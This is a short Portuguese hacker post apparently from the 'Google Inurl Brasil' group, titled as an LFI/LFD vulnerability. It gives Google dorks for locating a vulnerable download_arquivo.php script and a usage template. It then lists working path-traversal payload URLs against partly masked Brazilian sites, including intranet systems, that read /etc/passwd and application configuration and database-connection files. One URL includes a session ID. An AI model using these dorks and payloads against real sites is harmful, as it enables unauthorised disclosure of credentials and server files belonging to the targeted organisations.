[FALHA]=>LFI/LFD + DORK INURL - BRASIL

[FALHA]=>LFI/LFD

/*
REDIRECIONAMENTO DE URL
0x BY GOOOGLEINURL
0x www.facebook.com/InurlBrasil
0x www.twitter.com/googleinurl
0x Blog: blog.inurl.com.br
*/

DORK=>{
inurl:download_arquivo.php?file=
inurl:download_arquivo.php
}

      USO: http://www.url-alvo.br/download_arquivo.php?file={EXPLOIT}

EX:

[+] http://www2.ms.xxxx.com.br/intranet/sistema/nascerbem/download_arquivo.php?file=../inc/configuracao.inc.php

[+] http://www2.ms.sexxxbrae.com.br/intranet/sistema/nascerbem/download_arquivo.php?file=../../../../../../../../../../../../etc/passwd

[+] http://www.almaslxxxxivres.org.br/download_arquivo.php?file=../administrador/funcoes/conecta.php

[+] http://www.sinxxxxxpefgo.org.br/download_arquivo.php?file=/home/httpd/htdocs/sinpefbr/config.php&PHPSESSID=336d493a3053fc4f1e06fcfa478fdd3b.